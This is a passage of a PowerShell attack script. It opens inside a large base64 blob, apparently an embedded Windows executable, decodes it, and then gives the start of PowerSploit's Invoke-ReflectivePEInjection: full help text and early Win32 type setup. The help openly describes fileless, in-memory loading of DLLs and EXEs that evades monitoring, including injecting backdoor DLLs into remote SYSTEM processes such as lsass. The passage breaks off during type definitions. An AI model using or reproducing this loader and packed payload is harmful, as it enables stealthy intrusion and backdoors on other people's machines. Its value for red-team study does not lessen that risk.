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bWJseT4NCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABAAgBAACYoqCisKLIotCi2KLgouiiAKMIoxCjMKM4o0CjSKNQo1ijkKSYpKCkqKSwpLikwKTIpNCk2KTgpOik8KT4pAClCKUQpRilIKUopTClOKVApUilUKVYpWClaKVwpXilgKWIpZClmKWgpailsKW4pcClyKXQpdil4KXopfCl+KUApgimEKYYpiCmKKYwpjimQKZIplCmWKZgpmimcKZ4poCmiKaQppimoKaoprCmuKbApsim0KbYpuCm6KbwpvimAKcIpxCnGKcgpyinMKc4p0CnSKdQp1inYKdop3CneKeAp4inkKeYp6CnqKeQr6CvsK+4r8CvyK/Qr9iv4K/or/ivAFABAAABAAAAoAigEKAYoCCgKKAwoEigWKBgoGigcKB4oPCh+KEAogiiEKIYoiCiKKIwojiiQKJIolCiWKJgomiicKJ4ooCiiKIQqBioIKgoqDCoOKhAqEioUKhYqGCoaKhwqHiogKiIqJComKigqKiosKi4qMCoyKjQqNio4KjoqPCo+KgAqQipEKkYqSCpKKkwqTipQKlIqVCpWKlgqXCpeKmAqYipkKmYqaCpqKmwqbipwKnIqdCp2Kngqeip8Kn4qQCqCKoQqhiqIKooqjCqOKpAqkiqUKpYqmCqaKpwqniqgKqIqpCqmKqgqqiqsKq4qsCqyKqQrpiuoK6orgBgAQAoAQAACKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrVitaK14rYitmK2orbityK3Yreit+K0IrhiuKK44rkiuWK5orniuiK6YrqiuuK7Irtiu6K74rgivGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivAHABALAAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIoliiaKJ4ooiimKKooriiyKLYouii+KIIoxijKKM4o0ijWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKUAgAEA0AEAAGChcKGAoZChoKGwocCh0KHgofChAKIQoiCiMKJAolCiYKJwooCikKKgorCiwKLQouCi8KIAoxCjIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK6grrCuwK7QruCu8K4ArxCvIK8wr0CvUK9gr3CvgK+QrwDAAQAQAAAA2KLwoviiAAAA4AEASAAAALCh+KEYojiiWKJ4oqiiwKLIotCiCKMQo0ilYKhwqHiogKiIqJComKigqKiosKi4qMio0KjYqOCo6KjwqPioAKkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
$PEBytes = [System.Convert]::FromBase64String($InputString)

function Invoke-ReflectivePEInjection
{
<#
.SYNOPSIS

This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, 
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, 
please lead the Notes section (GENERAL NOTES) for information on how to use them.

1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.

This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
this will load and execute the DLL/EXE in to memory without writing any files to disk.

2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.

This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the 
remote process. 

PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
Code review and modifications: Matt Graeber, Twitter: @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION

Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.

.PARAMETER PEBytes

A byte array containing a DLL/EXE to load and execute.

.PARAMETER ComputerName

Optional, an array of computernames to run the script on.

.PARAMETER FuncReturnType

Optional, the return type of the function being called in the DLL. Default: Void
    Options: String, WString, Void. See notes for more information.
    IMPORTANT: For DLLs being loaded remotely, only Void is supported.
    
.PARAMETER ExeArgs

Optional, arguments to pass to the executable being reflectively loaded.
    
.PARAMETER ProcName

Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.

.PARAMETER ProcId

Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.

.PARAMETER ForceASLR

Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
    if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
    loading in to a remote process.

.PARAMETER DoNotZeroMZ

Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.
    
.EXAMPLE

Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local

.EXAMPLE

Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
    the wchar_t* returned by WStringFunc() from all the computers.
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)

.EXAMPLE

Load DemoEXE and run it locally.
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

.EXAMPLE

Load DemoEXE and run it locally. Forces ASLR on for the EXE.
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $DecodedText -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR

.EXAMPLE

Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local

.NOTES
GENERAL NOTES:
The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process
    -Can return DLL output to user when run remotely or locally.
    -Cleans up memory in the PS process once the DLL finishes executing.
    -Great for running pentest tools on remote computers without triggering process monitoring alerts.
    -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
2.) Reflectively load an EXE in to the PowerShell process.
    -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
    -Cleans up memory in the PS process once the DLL finishes executing.
    -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
3.) Reflectively inject a DLL in to a remote process.
    -Can NOT return DLL output to the user when run remotely OR locally.
    -Does NOT clean up memory in the remote process if/when DLL finishes execution.
    -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
    -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.

DLL LOADING NOTES:

PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.

For DLL Loading:
Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
wchar_t*   : FuncReturnType = WString
char*      : FuncReturnType = String
void       : Default, don't supply a FuncReturnType

For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.

The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
WString    : WStringFunc
String     : StringFunc
Void       : VoidFunc

These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
be declared as follows:
extern "C" __declspec( dllexport ) wchar_t* WStringFunc()


If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".

Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection

.LINK

http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/

Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
#>

[CmdletBinding()]
Param(
    [Parameter(Position = 0, Mandatory = $true)]
    [ValidateNotNullOrEmpty()]
    [Byte[]]
    $PEBytes,
    
    [Parameter(Position = 1)]
    [String[]]
    $ComputerName,
    
    [Parameter(Position = 2)]
    [ValidateSet( 'WString', 'String', 'Void' )]
    [String]
    $FuncReturnType = 'Void',
    
    [Parameter(Position = 3)]
    [String]
    $ExeArgs,
    
    [Parameter(Position = 4)]
    [Int32]
    $ProcId,
    
    [Parameter(Position = 5)]
    [String]
    $ProcName,

    [Switch]
    $ForceASLR,

    [Switch]
    $DoNotZeroMZ
)

Set-StrictMode -Version 2


$RemoteScriptBlock = {
    [CmdletBinding()]
    Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Byte[]]
        $PEBytes,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [String]
        $FuncReturnType,
                
        [Parameter(Position = 2, Mandatory = $true)]
        [Int32]
        $ProcId,
        
        [Parameter(Position = 3, Mandatory = $true)]
        [String]
        $ProcName,

        [Parameter(Position = 4, Mandatory = $true)]
        [Bool]
        $ForceASLR
    )
    
    ###################################
    ##########  Win32 Stuff  ##########
    ###################################
    Function Get-Win32Types
    {
        $Win32Types = New-Object System.Object

        #Define all the structures/enums that will be used
        #   This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
        $Domain = [AppDomain]::CurrentDomain
        $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
        $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]


        ############    ENUM    ############
        #Enum MachineType
        $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
        $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
        $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
        $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
        $MachineType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType

